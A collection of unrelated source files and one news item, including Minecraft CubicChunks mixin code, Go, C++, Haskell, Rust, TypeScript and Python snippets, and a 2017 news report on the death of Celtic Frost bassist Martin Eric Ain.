// getLightFor
// ==============================================
@Redirect(method = "getLightFor", at = @At(
value = "FIELD",
target = CHUNK_STORAGE_ARRAYS,
args = "array=get"
))
private ExtendedBlockStorage getLightFor_CubicChunks_EBSGetRedirect(ExtendedBlockStorage[] array, int index) {
return getEBS_CubicChunks(index);
}
// ==============================================
// setLightFor
// ==============================================
@Redirect(method = "setLightFor", at = @At(
value = "FIELD",
target = CHUNK_STORAGE_ARRAYS,
args = "array=get"
))
private ExtendedBlockStorage setLightFor_CubicChunks_EBSGetRedirect(ExtendedBlockStorage[] array, int index) {
return getEBS_CubicChunks(index);
}
@Redirect(method = "setLightFor", at = @At(
value = "FIELD",
target = CHUNK_STORAGE_ARRAYS,
args = "array=set"
))
private void setLightFor_CubicChunks_EBSSetRedirect(ExtendedBlockStorage[] array, int index, ExtendedBlockStorage ebs) {
setEBS_CubicChunks(index, ebs);
}
@Redirect(method = "setLightFor", at = @At(value = "FIELD", target = "Lnet/minecraft/world/chunk/Chunk;dirty:Z"))
private void setIsModifiedFromSetLightFor_Field(Chunk chunk, boolean isModifiedIn, EnumSkyBlock type, BlockPos pos, int value) {
if (isColumn) {
getCubicWorld().getCubeFromBlockCoords(pos).markDirty();
} else {
dirty = isModifiedIn;
}
}
// ==============================================
// getLightSubtracted
// ==============================================
@Redirect(method = "getLightSubtracted", at = @At(
value = "FIELD",
target = CHUNK_STORAGE_ARRAYS,
args = "array=get"
))
private ExtendedBlockStorage getLightSubtracted_CubicChunks_EBSGetRedirect(ExtendedBlockStorage[] array, int index) {
return getEBS_CubicChunks(index);
}
// ==============================================
// addEntity
// ==============================================
// TODO: Use @ModifyConstant with expandConditions when it's implemented
@Overwrite
public void addEntity(Entity entityIn) {
this.hasEntities = true;
int i = MathHelper.floor(entityIn.posX / 16.0D);
int j = MathHelper.floor(entityIn.posZ / 16.0D);
if (i != this.x || j != this.z) {
CubicChunks.LOGGER.warn("Wrong location! ({}, {}) should be ({}, {}), {}", new Object[]{Integer.valueOf(i), Integer.valueOf(j), Integer
.valueOf(this.x), Integer.valueOf(this.z), entityIn});
entityIn.setDead();
}
int k = MathHelper.floor(entityIn.posY / Cube.SIZE_D);
if (k < Coords.blockToCube(getCubicWorld().getMinHeight())) {
k = Coords.blockToCube(getCubicWorld().getMinHeight());
}
if (k >= Coords.blockToCube(getCubicWorld().getMaxHeight())) {
k = Coords.blockToCube(getCubicWorld().getMaxHeight()) - 1;
}
MinecraftForge.EVENT_BUS
.post(new net.minecraftforge.event.entity.EntityEvent.EnteringChunk(entityIn, this.x, this.z, entityIn.chunkCoordX,
entityIn.chunkCoordZ));
entityIn.addedToChunk = true;
entityIn.chunkCoordX = this.x;
entityIn.chunkCoordY = k;
entityIn.chunkCoordZ = this.z;
if (!isColumn) {
entityLists[k].add(entityIn);
} else if (cachedCube != null && cachedCube.getY() == k) {
cachedCube.getEntityContainer().addEntity(entityIn);
} else {
getCubicWorld().getCubeCache().getCube(getX(), k, getZ()).getEntityContainer().addEntity(entityIn);
}
}
// ==============================================
// removeEntityAtIndex
// ==============================================
/**
* @author Barteks2x
* @reason original function limited to chunk entity list array field.
*/
@Overwrite
public void removeEntityAtIndex(Entity entityIn, int index) {
if (index < Coords.blockToCube(getCubicWorld().getMinHeight())) {
index = Coords.blockToCube(getCubicWorld().getMinHeight());
}
if (index >= Coords.blockToCube(getCubicWorld().getMaxHeight())) {
index = Coords.blockToCube(getCubicWorld().getMaxHeight()) - 1;
}
if (!isColumn) {
entityLists[index].remove(entityIn);
} else if (cachedCube != null && cachedCube.getY() == index) {
cachedCube.getEntityContainer().remove(entityIn);
} else {
getCubicWorld().getCubeCache().getCube(getX(), index, getZ()).getEntityContainer().remove(entityIn);
}
}
// ==============================================
// addTileEntity
// ==============================================
@Redirect(method = "addTileEntity(Lnet/minecraft/tileentity/TileEntity;)V",
at = @At(value = "FIELD", target = "Lnet/minecraft/world/chunk/Chunk;loaded:Z"))
private boolean addTileEntity_isChunkLoadedCubeRedirect(Chunk chunk, TileEntity te) {
if (!isColumn) {
return loaded;
}
Cube cube = this.getLoadedCube(blockToCube(te.getPos().getY()));
return cube != null && cube.isCubeLoaded();
}
// ==============================================
// removeTileEntity
// ==============================================
@Redirect(method = "removeTileEntity", at = @At(value = "FIELD", target = "Lnet/minecraft/world/chunk/Chunk;loaded:Z"))
private boolean removeTileEntity_isChunkLoadedCubeRedirect(Chunk chunk, BlockPos pos) {
if (!isColumn) {
return loaded;
}
Cube cube = this.getLoadedCube(blockToCube(pos.getY()));
return cube != null && cube.isCubeLoaded();
}
// ==============================================
// onLoad
// ==============================================
@Inject(method = "onLoad", at = @At("HEAD"), cancellable = true)
public void onChunkLoad_CubicChunks(CallbackInfo cbi) {
if (!isColumn) {
return;
}
cbi.cancel();
this.loaded = true;
for (Cube cube : cubeMap) {
cube.onLoad();
}
MinecraftForge.EVENT_BUS.post(new Load((Chunk) (Object) this));
}
// ==============================================
// onUnload
// ==============================================
@Inject(method = "onUnload", at = @At("HEAD"), cancellable = true)
public void onChunkUnload_CubicChunks(CallbackInfo cbi) {
if (!isColumn) {
return;
}
cbi.cancel();
this.loaded = false;
for (Cube cube : cubeMap) {
cube.onUnload();
}
MinecraftForge.EVENT_BUS.post(new net.minecraftforge.event.world.ChunkEvent.Unload((Chunk) (Object) this));
}
// ==============================================
// getEntitiesWithinAABBForEntity
// ==============================================
@Inject(method = "getEntitiesWithinAABBForEntity", at = @At("HEAD"), cancellable = true)
public void getEntitiesWithinAABBForEntity_CubicChunks(@Nullable Entity entityIn, AxisAlignedBB aabb,
List<Entity> listToFill, Predicate<? super Entity> filter, CallbackInfo cbi) {
if (!isColumn) {
return;
}
cbi.cancel();
int minY = MathHelper.floor((aabb.minY - World.MAX_ENTITY_RADIUS) / Cube.SIZE_D);
int maxY = MathHelper.floor((aabb.maxY + World.MAX_ENTITY_RADIUS) / Cube.SIZE_D);
minY = MathHelper.clamp(minY,
blockToCube(getCubicWorld().getMinHeight()),
blockToCube(getCubicWorld().getMaxHeight()));
maxY = MathHelper.clamp(maxY,
blockToCube(getCubicWorld().getMinHeight()),
blockToCube(getCubicWorld().getMaxHeight()));
for (Cube cube : cubeMap.cubes(minY, maxY)) {
if (cube.getEntityContainer().getEntitySet().isEmpty()) {
continue;
}
for (Entity entity : cube.getEntityContainer().getEntitySet()) {
if (!entity.getEntityBoundingBox().intersects(aabb) || entity == entityIn) {
continue;
}
if (filter == null || filter.apply(entity)) {
listToFill.add(entity);
}
Entity[] parts = entity.getParts();
if (parts != null) {
for (Entity part : parts) {
if (part != entityIn && part.getEntityBoundingBox().intersects(aabb)
&& (filter == null || filter.apply(part))) {
listToFill.add(part);
}
}
}
}
}
}
// ==============================================
// getEntitiesOfTypeWithinAABB
// ==============================================
@Inject(method = "getEntitiesOfTypeWithinAABB", at = @At("HEAD"), cancellable = true)
public <T extends Entity> void getEntitiesOfTypeWithinAAAB_CubicChunks(Class<? extends T> entityClass,
AxisAlignedBB aabb, List<T> listToFill, Predicate<? super T> filter, CallbackInfo cbi) {
if (!isColumn) {
return;
}
cbi.cancel();
int minY = MathHelper.floor((aabb.minY - World.MAX_ENTITY_RADIUS) / Cube.SIZE_D);
int maxY = MathHelper.floor((aabb.maxY + World.MAX_ENTITY_RADIUS) / Cube.SIZE_D);
minY = MathHelper.clamp(minY,
blockToCube(getCubicWorld().getMinHeight()),
blockToCube(getCubicWorld().getMaxHeight()));
maxY = MathHelper.clamp(maxY,
blockToCube(getCubicWorld().getMinHeight()),
blockToCube(getCubicWorld().getMaxHeight()));
for (Cube cube : cubeMap.cubes(minY, maxY)) {
for (T t : cube.getEntityContainer().getEntitySet().getByClass(entityClass)) {
if (t.getEntityBoundingBox().intersects(aabb) && (filter == null || filter.apply(t))) {
listToFill.add(t);
}
}
}
}
// public boolean needsSaving(boolean p_76601_1_) - TODO: needsSaving
// ==============================================
// getPrecipitationHeight
// ==============================================
@Inject(method = "getPrecipitationHeight", at = @At(value = "HEAD"), cancellable = true)
private void getPrecipitationHeight_CubicChunks_Replace(BlockPos pos, CallbackInfoReturnable<BlockPos> cbi) {
if (isColumn) {
// TODO: precipitationHeightMap
BlockPos ret = new BlockPos(pos.getX(), getHeightValue(blockToLocal(pos.getX()), blockToLocal(pos.getZ())), pos.getZ());
cbi.setReturnValue(ret);
cbi.cancel();
}
}
// ==============================================
// onTick
// ==============================================
// TODO: check if we are out of time earlier?
@Inject(method = "onTick", at = @At(value = "RETURN"))
private void onTick_CubicChunks_TickCubes(boolean tryToTickFaster, CallbackInfo cbi) {
if (!isColumn) {
return;
}
this.ticked = true;
this.isLightPopulated = true;
// do nothing, we tick cubes directly
}
// ==============================================
// isEmptyBetween
// ==============================================
/**
* @author Barteks2x
* @reason original function limited to storage arrays.
*/
@Overwrite
public boolean isEmptyBetween(int startY, int endY) {
if (startY < getCubicWorld().getMinHeight()) {
startY = getCubicWorld().getMinHeight();
}
if (endY >= getCubicWorld().getMaxHeight()) {
endY = getCubicWorld().getMaxHeight() - 1;
}
for (int i = startY; i <= endY; i += Cube.SIZE) {
ExtendedBlockStorage extendedblockstorage = getEBS_CubicChunks(blockToCube(i));
if (extendedblockstorage != NULL_BLOCK_STORAGE && !extendedblockstorage.isEmpty()) {
return false;
}
}
return true;
}
// ==============================================
// setStorageArrays
// ==============================================
@Inject(method = "setStorageArrays", at = @At(value = "HEAD"))
private void setStorageArrays_CubicChunks_NotSupported(ExtendedBlockStorage[] newStorageArrays, CallbackInfo cbi) {
if (isColumn) {
throw new UnsupportedOperationException("setting storage arrays it not supported with cubic chunks");
}
}
// ==============================================
// checkLight
// ==============================================
@Inject(method = "checkLight()V", at = @At(value = "HEAD"), cancellable = true)
private void checkLight_CubicChunks_NotSupported(CallbackInfo cbi) {
if (isColumn) {
// todo: checkLight
cbi.cancel();
}
}
// private void setSkylightUpdated() - noone should use it
// private void checkLightSide(EnumFacing facing) - noone should use it
// private boolean checkLight(int x, int z) - TODO: checkLight
@Overwrite
public ClassInheritanceMultiMap<Entity>[] getEntityLists() {
// TODO: return array of wrappers, 0-th entry will wrap everything below y=1, the 15-th entry will wrap everything above the top
// at least if possible
return this.entityLists;
}
// ==============================================
// removeInvalidTileEntity
// ==============================================
@Redirect(method = "removeInvalidTileEntity", at = @At(value = "FIELD", target = "Lnet/minecraft/world/chunk/Chunk;loaded:Z"))
private boolean removeInvalidTileEntity_isChunkLoadedCubeRedirect(Chunk chunk, BlockPos pos) {
if (!isColumn) {
return loaded;
}
Cube cube = this.getLoadedCube(blockToCube(pos.getY()));
return cube != null && cube.isCubeLoaded();
}
} |
// SeekByte seeks through index to find the matching entry from which to produce the tar stream.
func (ir *IndexReader) SeekByte(pos int64) error {
var offset int64
if pos == 0 {
return nil
}
if ir.totalSize != 0 && ir.totalSize < pos {
return ErrSkipBoundary
}
if ir.noMoreSeek {
return ErrNoSeek
}
ir.noMoreSeek = true
IndexLoop:
for {
buf := new(BinaryEntry)
if _, err := ir.r.Read(buf[:]); err != nil {
if err == io.EOF {
break IndexLoop
}
return err
}
entry := buf.ToListEntry(offset)
offset = entry.LastByte
if entry.LastByte > pos {
ir.skipBytes = pos - entry.FirstByte
ir.seekEntry = entry
ir.seekOffset = offset
return nil
}
}
ir.seekOffset = offset
ir.skipBytes = pos - offset
size := offset
if ir.postFixFile != nil {
size += PostfixFileSize(ir.postFixFile.Content)
}
size += tarFooterSize
if pos > size {
return ErrSkipBoundary
}
return nil
} |
#include <bits/stdc++.h>
using namespace std;
typedef unsigned long long ll;
string toBit(ll x){
string s = "";
while(x!=0){
s += x%2 + '0';
x/=2;
}
string ans = "";
for(int i = s.length()-1;i>=0;i--) ans += s[i];
return ans;
}
ll toDec(string s){
ll ans = 0;
for(int i=0;i<s.length();i++){
ans = 2*ans + s[i]-'0';
}
return ans;
}
int main(){
ll l,r;
cin>>l>>r;
string ls = toBit(l), rs = toBit(r);
string l2s = "";
for(int i=0;i<rs.length()-ls.length();i++) l2s += '0';
l2s += ls;
ls = l2s;
// cout<<ls<<" "<<rs<<endl;
// cout<<toDec(ls)<<" "<<toDec(rs)<<endl;
string ans = "";
for(int i=0;i<ls.length();i++){
bool b = true;
if(ls[i]=='1' && rs[i]=='1'){
rs[i] = '0';
if(toDec(rs) < l){
rs[i] = '1';
b = false;
// ls[i] = '0';
// if(toDec(ls) < l) {ls[i] = '1'; b = false;}
}
}
else if(ls[i]=='0' && rs[i]=='0'){
ls[i] = '1';
if(toDec(ls) > r){
ls[i] = '0';
b = false;
// rs[i] = '1';
// if(toDec(rs) > r) {rs[i] = '0';b = false;}
}
}
ans += ('0' + b);
}
cout<<toDec(ans)<<endl;
} |
#include "flushpch.h"
#include "Shader.h"
#include "glad/glad.h"
#include "Core/Log.h"
#include "Renderer.h"
#include "Platform/OpenGL/OpenGLShader.h"
namespace Flush{
std::vector<Ref<Shader>> Shader::s_AllShaders;
Ref<Shader> Shader::Create(const std::string& filepath)
{
Ref<Shader> result = nullptr;
switch (RendererAPI::Current())
{
case RendererAPIType::None: return nullptr;
case RendererAPIType::OpenGL: result = std::make_shared<OpenGLShader>(filepath);
}
s_AllShaders.push_back(result);
return result;
}
Ref<Shader> Shader::CreateFromString(const std::string& source)
{
Ref<Shader> result = nullptr;
switch (RendererAPI::Current())
{
case RendererAPIType::None: return nullptr;
case RendererAPIType::OpenGL: result = OpenGLShader::CreateFromString(source);
}
s_AllShaders.push_back(result);
return result;
}
ShaderLibrary::ShaderLibrary()
{
}
ShaderLibrary::~ShaderLibrary()
{
}
void ShaderLibrary::Add(const Flush::Ref<Shader>& shader)
{
auto& name = shader->GetName();
//FLUSH_CORE_ASSERT(m_Shaders.find(name) == m_Shaders.end());
m_Shaders[name] = shader;
}
void ShaderLibrary::Load(const std::string& path)
{
auto shader = Ref<Shader>(Shader::Create(path));
auto& name = shader->GetName();
//FLUSH_CORE_ASSERT(m_Shaders.find(name) == m_Shaders.end());
m_Shaders[name] = shader;
}
void ShaderLibrary::Load(const std::string& name, const std::string& path)
{
//FLUSH_CORE_ASSERT(m_Shaders.find(name) == m_Shaders.end());
m_Shaders[name] = Ref<Shader>(Shader::Create(path));
}
Ref<Shader>& ShaderLibrary::Get(const std::string& name)
{
//FLUSH_CORE_ASSERT(m_Shaders.find(name) != m_Shaders.end());
return m_Shaders[name];
}
} |
Former CELTIC FROST bassist Martin Eric Ain died yesterday (Saturday, October 21) after suffering a heart attack at the age of 50. His death was confirmed by Ain's close friend Jan Graber, who told Switzerland's 20 Minuten that Martin "suddenly collapsed when he switched to a different tram."
Graber was not aware of any serious health problems that Ain, who was born in the U.S.A., may have had. "He was somewhat overweight, clearly."
Still, Ain's death came as a complete surprise to Graber.
"We had lunch only two weeks ago," he said. "He was doing as well as ever."
Thomas Gabriel Fischer, who played with Martin in both HELLHAMMER and CELTIC FROST, said in a social media post that he was "deeply affected by [Martin's] passing. Our relationship was very complex and definitely not free of conflicts, but Martin's life and mine were very closely intertwined, since we first met in 1982," he wrote.
Norwegian bassist King Ov Hell (real name Tom Cato Visnes; GORGOROTH, GOD SEED, AUDREY HORNE) also commented on Ain's death. He said: "I just learned that my dear friend Martin Ain passed away at age 50. His work with CELTIC FROST and HELLHAMMER has been a huge inspiration for me and thousands of others. Rest in peace, my friend!"
Meanwhile, ANTHRAX drummer Charlie Benante remembered Ain on Twitter as "one of the nicest, intelligent and creative people I've ever known."
Former CARCASS and current ARCH ENEMY guitarist Michael Amott tweeted: "One of the early purveyors of extreme musical darkness in metal has left us."
PARADISE LOST singer Nick Holmes wrote: "Very sad to hear about Martin Ain. Another one gone too soon."
Norwegian black metallers SATYRICON said in a statement: "Today we mourn the loss of our friend and source of inspiration, Martin Eric Ain. Together with Tom G. Warrior, Martin was the engine of one of the most unique bands in music history, CELTIC FROST. He was reflected, gifted, sympathetic and independent. Our thoughts are with his family and with Tom. Thank you for everything you gave us, Martin. We will miss you."
CRADLE OF FILTH wrote: "Today is a sad day for metal. Martin Eric Ain, bassist for one of the most influential heavy metal bands of all time, has died, age 50. His work in HELLHAMMER and CELTIC FROST were a massive influence on a fledgling CRADLE OF FILTH, as well as hundreds of other bands, and he shall be remembered with glorious respect."
Born Martin Stricker, Martin Eric Ain became an entrepreneur owned a DVD shop and bar in Zurich, called Acapulco. He was also a co-owner of the music club Mascotte, which became well known for hosting up-and-coming international bands. Since 2004, he had been the host of the "Karaoke From Hell" show, taking place every Tuesday night at Mascotte.
Ain handled lead vocals on the song "A Dying God Coming Into Human Flesh" on CELTIC FROST's final album, "Monotheist".
In a 2006 interview with Metal Rules, Ain said that, unlike Fischer, he preferred to keep a low profile when he wasn't performing with CELTIC FROST. "I'm exhibitionist enough already with the interviews and on stage," he explained. "I like to let the music speak for itself and the stage performances speak for themselves. I already think Tom does that, Tom does that communication. That's his space, his way of communicating, his views, his beliefs. Some of them are mine. I differ. Not my style."
CELTIC FROST reformed in 2001 and released its comeback album "Monotheist" via Century Media/Prowling Death in 2006. The band broke up in 2008, with Fischer going on to form TRIPTYKON.
Ain is survived by his longtime partner, his brother and his father.
Image courtesy of Banger TV
I am very sad to wake to the news about Martin Ain, one of the nicest , intelligent and creative people I’ve ever known. #celticfrost ?? — Charlie Benante (@skisum) October 22, 2017
One of the early purveyors of extreme musical darkness in Metal has left us. RIP Martin Eric Ain. #martinericain #celticfrost #hellhammer pic.twitter.com/mh2WlIioId — Michael Amott (@Michael_Amott) October 22, 2017
Very sad to hear about Martin Ain,another one gone too soon R.I.P #CelticFrost — Nick Holmes (@NickHolmesPL) October 22, 2017 |
<gh_stars>1-10
import response from "aws-lambda-res"
import * as customerBase from "../../customerBase"
import { nakedDomain } from "../../domainNames"
export async function handler(event) {
try {
const { token } = event.pathParameters
await customerBase.verifyAccount(token)
return response(302)(null, { Location: `https://${nakedDomain}` })
} catch (error) {
console.error(error)
return response(200)(
`<html><body><h1>Could not verify email</h1></body></html>`,
{ "Content-Type": "text/html" }
)
}
}
|
<gh_stars>1-10
import { FC } from "react";
import { Drawer } from "@components/common/drawer/drawer";
import FilterIcon from "@components/icons/filter-icon";
import { Text } from "@components/ui/text";
import { useUI } from "@contexts/ui.context";
import FilterSidebar from "@components/shop/filter-sidebar";
import ListBox from "@components/ui/list-box";
import { useRouter } from "next/router";
import { useTranslation } from "next-i18next";
import { getDirection } from "@utils/get-direction";
import { Filter } from "@framework/types";
interface ISerarchTopBar {
totalItems: number;
filter: Filter;
filterName?: string;
}
const SearchTopBar: FC<ISerarchTopBar> = ({
totalItems = 2000,
filter,
filterName,
}) => {
const { openFilter, displayFilter, closeFilter } = useUI();
const { t } = useTranslation("common");
const { locale } = useRouter();
const dir = getDirection(locale);
const contentWrapperCSS = dir === "ltr" ? { left: 0 } : { right: 0 };
return (
<>
<Text variant="pageHeading" className="hidden lg:inline-flex pb-1">
{" "}
</Text>
<button
className="lg:hidden text-heading text-sm px-4 py-2 font-semibold border border-gray-300 rounded-md flex items-center transition duration-200 ease-in-out focus:outline-none hover:bg-gray-200"
onClick={openFilter}
>
<FilterIcon />
<span className="ps-2.5">{t("text-filters")}</span>
</button>
<div className="flex items-center justify-end">
{/* <div className="flex-shrink-0 text-body text-xs md:text-sm leading-4 pe-4 md:me-6 ps-2 hidden lg:block">
{totalItems} {t("text-items")}
</div> */}
<ListBox
options={[
// { name: "text-sorting-options", value: "options" },
{ name: "text-newest", value: "newest" },
// { name: "text-popularity", value: "popularity" },
{
name: "text-price-low-high",
value: "lowest-price",
},
{
name: "text-price-high-low",
value: "highest-price",
},
]}
/>
</div>
<Drawer
placement={dir === "rtl" ? "right" : "left"}
open={displayFilter}
onClose={closeFilter}
handler={false}
showMask={true}
level={null}
contentWrapperStyle={contentWrapperCSS}
wrapperClassName="product-drawer"
>
<FilterSidebar
filter={filter}
totalItems={totalItems}
filterName={filterName}
/>
</Drawer>
</>
);
};
export default SearchTopBar;
|
<gh_stars>0
-- ~\~ language=Haskell filename=src/Milkshake/Data.hs
-- ~\~ begin <<lit/index.md|src/Milkshake/Data.hs>>[0]
{-# LANGUAGE NoImplicitPrelude,DuplicateRecordFields,OverloadedLabels #-}
{-# LANGUAGE DerivingStrategies,DerivingVia,DataKinds,UndecidableInstances #-}
module Milkshake.Data where
import RIO
import qualified RIO.Text as T
import qualified RIO.Map as M
import Data.Monoid.Generic (GenericSemigroup(..), GenericMonoid(..))
import Dhall
-- ~\~ begin <<lit/index.md|haskell-types>>[0]
data Virtual = Virtual
{ name :: Text
, exists :: Text
, content :: Text }
deriving (Generic, Show, Eq)
instance FromDhall Virtual
instance ToDhall Virtual
data Target
= File Text
| Generic Virtual
| Phony Text
deriving (Generic, Show, Eq)
instance FromDhall Target
instance ToDhall Target
-- ~\~ end
-- ~\~ begin <<lit/index.md|haskell-types>>[1]
data Action = Action
{ target :: [ Target ]
, dependency :: [ Target ]
, script :: Maybe Text }
deriving (Generic, Show)
instance FromDhall Action
-- ~\~ end
-- ~\~ begin <<lit/index.md|haskell-types>>[2]
type Generator = [Target] -> [Target] -> Maybe Text
data Rule = Rule
{ name :: Text
, gen :: Generator }
deriving (Generic)
instance FromDhall Rule
-- ~\~ end
-- ~\~ begin <<lit/index.md|haskell-types>>[3]
data Trigger = Trigger
{ name :: Text
, target :: [ Target ]
, dependency :: [ Target ] }
deriving (Generic, Show)
instance FromDhall Trigger
-- ~\~ end
-- ~\~ begin <<lit/index.md|haskell-types>>[4]
data Stmt
= StmtAction Action
| StmtRule Rule
| StmtTrigger Trigger
| StmtInclude FilePath
| StmtMain [FilePath]
stmt :: Decoder Stmt
stmt = union (
(StmtAction <$> constructor "Action" auto)
<> (StmtRule <$> constructor "Rule" auto)
<> (StmtTrigger <$> constructor "Trigger" auto)
<> (StmtInclude <$> constructor "Include" auto)
<> (StmtMain <$> constructor "Main" auto))
readStmts :: (MonadIO m) => FilePath -> m [Stmt]
readStmts path = liftIO $ input (list stmt) (T.pack path)
-- ~\~ end
-- ~\~ begin <<lit/index.md|haskell-types>>[5]
data Config = Config
{ rules :: M.Map Text Generator
, triggers :: [Trigger]
, actions :: [Action]
, includes :: [FilePath]
, main :: [FilePath] }
deriving (Generic)
deriving Semigroup via GenericSemigroup Config
deriving Monoid via GenericMonoid Config
stmtsToConfig :: [Stmt] -> Config
stmtsToConfig = foldMap toConfig
where toConfig (StmtAction a) = mempty { actions = [a] }
toConfig (StmtRule (Rule {..})) = mempty { rules = M.singleton name gen }
toConfig (StmtTrigger t) = mempty { triggers = [t] }
toConfig (StmtInclude i) = mempty { includes = [i] }
toConfig (StmtMain m) = mempty { main = m }
-- ~\~ end
-- ~\~ end
|
<reponame>fthaler/GHEX
/*
* GridTools
*
* Copyright (c) 2014-2020, ETH Zurich
* All rights reserved.
*
* Please, refer to the LICENSE file in the root directory.
* SPDX-License-Identifier: BSD-3-Clause
*
*/
#ifndef INCLUDED_GHEX_RMA_CHUNK_HPP
#define INCLUDED_GHEX_RMA_CHUNK_HPP
#include <gridtools/common/host_device.hpp>
namespace gridtools {
namespace ghex {
namespace rma {
// chunk of contiguous memory of type T
// used in range iterators for example
template<typename T>
struct chunk
{
using value_type = T;
using size_type = unsigned long;
T* m_ptr;
size_type m_size;
GT_FUNCTION
T* data() const noexcept { return m_ptr; }
GT_FUNCTION
T operator[](unsigned int i) const noexcept { return m_ptr[i]; }
GT_FUNCTION
T& operator[](unsigned int i) noexcept { return m_ptr[i]; }
GT_FUNCTION
size_type size() const noexcept { return m_size; }
GT_FUNCTION
size_type bytes() const noexcept { return m_size*sizeof(T); }
};
} // namespace rma
} // namespace ghex
} // namespace gridtools
#endif /* INCLUDED_GHEX_RMA_CHUNK_HPP */
|
def owner_graph(self):
if self.__owner_graph is None:
self.__owner_graph = self._get_owner_graph()
return self.__owner_graph |
<reponame>Maruf-Tuhin/Online_Judge<filename>solved-codeforces/the_redback/contest/355/b/4773650.cpp
#include<cstdio>
#include<cstring>
#include<cstdlib>
#include<cmath>
#include<iostream>
#include<string>
#include<vector>
#include<queue>
#include<algorithm>
#include<stack>
using namespace std;
main()
{
int i,j,k,l,m,n;
long c1,c2,c3,c4,sum1,sum2,sum3,sum;
while(~scanf("%ld%ld%ld%ld",&c1,&c2,&c3,&c4))
{
scanf("%d%d",&n,&m);
sum1=0;
for(i=0; i<n; i++)
{
scanf("%d",&j);
k=min(j*c1,c2);
sum1+=k;
}
sum1=min(sum1,c3);
sum2=0;
for(i=0; i<m; i++)
{
scanf("%d",&j);
k=min(j*c1,c2);
sum2+=k;
}
sum2=min(sum2,c3);
sum=min(sum1+sum2,c4);
printf("%ld\n",sum);
}
return 0;
}
|
<gh_stars>0
use std::fs;
#[derive(Debug)]
enum Element
{
Pair(Box<(Element,Element)>),
Int(i32),
}
fn main() {
let path = "test.txt";
let txt = fs::read_to_string(path).unwrap();
let nums: Vec<Element> = Vec::new();
for line in txt.lines() {
let mut num = Element::Pair(Box::new((Element::Int(0),Element::Int(0))));
let mut i = 0usize;
let mut depth = 0;
loop {
if &line[i..i+1] == "[" {
println!("open");
let p = Element::Pair(Box::new((Element::Int(0),Element::Int(0))));
match num {
Element::Pair(ref mut q) => {q.0 = p;},
Element::Int(_) => {},
}
i += 1;
depth += 1;
continue;
}
if &line[i..i+1] == "]" {
println!("close");
i += 1;
depth -= 1;
assert!(depth >= 0);
continue;
}
if let Ok(num) = line.split(",").first().parse::<i32>() {
}
}
nums.push(num);
}
}
|
#ifndef GRAPHICS_VIEW_ZOOM_H
#define GRAPHICS_VIEW_ZOOM_H
#include <QObject>
#include <QGraphicsView>
/*!
*此类增加了使用鼠标滚轮缩放QGraphicsView的功能。光标下的点
*在可能的情况下保持静止。
*
*请注意,当场景的
*尺寸与视口尺寸相比还不够大。 QGraphicsView将图片居中
*当它小于视图时。而且QGraphicsView的滚动边界不允许
*将任何图片点放置在任何视口位置。
*
*当用户开始滚动时,此类会记住原始场景位置并
*保留它直到滚动完成。比获得原始场景位置更好
*每个滚动步骤,因为该方法由于上述原因导致位置错误
*定位限制。
*
*使用滚动放大时,此类发出zoomed()信号。
*
*用法:
*
*
*删除视图时,对象将被自动删除。
*
*您可以使用set_modified()设置用于缩放的键盘修饰符。缩放将
*仅在修饰符组合完全匹配时执行。默认修饰符为Ctrl。
*
*您可以通过调用set_zoom_factor_base()来更改缩放速度。
*缩放系数计算为zoom_factor_base ^ angle_delta
*(请参阅QWheelEvent :: angleDelta)。
*默认缩放系数基数为_zoom_factor_base。
*/
class Graphics_view_zoom : public QObject {
Q_OBJECT
public:
Graphics_view_zoom(QGraphicsView* view);
void gentle_zoom(double factor);
void set_modifiers(Qt::KeyboardModifiers modifiers);
void set_zoom_factor_base(double value);
private:
QGraphicsView* _view;
Qt::KeyboardModifiers _modifiers;
double _zoom_factor_base;
QPointF target_scene_pos, target_viewport_pos;
bool eventFilter(QObject* object, QEvent* event);
signals:
void zoomed();
};
#endif // GRAPHICS_VIEW_ZOOM_H
|
/** UniformRotationModel represents a rotation of a constant rate about a
* fixed axis.
*
* @param axis a non-zero vector giving the axis of rotation
* @param rotationRate the constant rate of rotation in radians per second
* @param meridianAngleAtEpoch the angle in radians of the meridian at the epoch date
* @param epoch the epoch date in seconds elapsed since J2000.0
*/
UniformRotationModel::UniformRotationModel(const Eigen::Vector3d& axis,
double rotationRate,
double meridianAngleAtEpoch,
double epoch) :
m_axis(axis.normalized()),
m_rotationRate(rotationRate),
m_meridianAngleAtEpoch(meridianAngleAtEpoch),
m_epoch(epoch)
{
} |
# Copyright 2018 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""Configures a data project with storage and logging.
For details and usage, see deploy/README.md.
"""
# Map from prefixes used by IAM to those used in BigQuery.
_IAM_TO_BIGQUERY_MEMBER = {
'user': 'userByEmail',
'group': 'groupByEmail',
'domain': 'domain',
# BigQuery treats serviceAccounts as users.
'serviceAccount': 'userByEmail',
}
DEFAULT_CUSTOM_ROLE_STAGE = 'GA'
def _get_bigquery_access_for_role(role_name, members):
"""Converts role and IAM style members to BigQuery style ACL."""
access_for_role = []
for member in members:
if(member == 'allAuthenticatedUsers'):
access_for_role.append({
'role': role_name,
'specialGroup': member
})
else:
member_type, member_name = member.split(':')
access_for_role.append({
'role': role_name,
_IAM_TO_BIGQUERY_MEMBER[member_type]: member_name
})
return access_for_role
def generate_config(context):
"""Generate Deployment Manager configuration."""
project_id = context.env['project']
if ('local_audit_logs' in context.properties) == (
'remote_audit_logs' in context.properties):
raise ValueError('Must specify local_audit_logs or remote_audit_logs but '
'not both.')
use_local_logs = 'local_audit_logs' in context.properties
has_organization = context.properties['has_organization']
resources = []
# Custom roles
custom_roles = context.properties.get('custom_roles', [])
for role in custom_roles:
name = role['name']
permissions = role['permissions']
description = role.get('description', name)
title = role.get('title', name)
resources.append({
'name': name,
'type': 'gcp-types/iam-v1:projects.roles',
'properties': {
'parent': 'projects/' + project_id,
'roleId': name,
'role': {
'title': title,
'description': description,
'stage': DEFAULT_CUSTOM_ROLE_STAGE,
'includedPermissions': permissions,
}
}
})
# Set project-level IAM roles. Adding owners and auditors roles, and removing
# the single-owner. Non-organization projects cannot have a owner group, so
# use projectIamAdmin instead.
if has_organization:
owners_group_role = 'roles/owner'
else:
owners_group_role = 'roles/resourcemanager.projectIamAdmin'
project_bindings = {
owners_group_role: ['group:' + context.properties['owners_group']],
'roles/iam.securityReviewer': [
'group:' + context.properties['auditors_group']],
}
